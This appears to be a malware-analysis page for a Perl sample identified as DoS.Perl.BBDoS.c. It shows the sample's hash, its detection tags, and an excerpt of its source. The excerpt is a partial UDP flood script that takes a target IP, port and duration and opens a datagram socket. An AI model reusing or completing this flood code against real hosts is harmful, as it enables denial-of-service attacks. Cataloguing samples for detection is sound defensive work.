Benign Download

DoS.Perl.BBDoS.c

Perl socket PF_INET callPerl system command execution
SHA-256af910f7e91c3898c916b5f895dc0dfeede66daf6d750cd9028fff515aecac6ae

Evidence

Perl socket PF_INET call lines 20–41
20:16… size,$time);
21 $ip=$ARGV[0];
22 $port=$ARGV[1];
23 $time=$ARGV[2];
24
25socket(crazy, PF_INET, SOCK_DGRAM, 17);
26 $iaddr = inet_aton("$ip");
27
28printf "udp flood - KaN3\n";
29
30if ($ARGV[1] ==0 && $ARGV[2] ==0) {
31 goto randpackets;
32}
33if ($ARGV[1] !=0 && $ARGV[2] !=0) {
34 system("(sleep $time;killall -9 udp) &");
35 goto packets;
36}
⋯5 lines

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.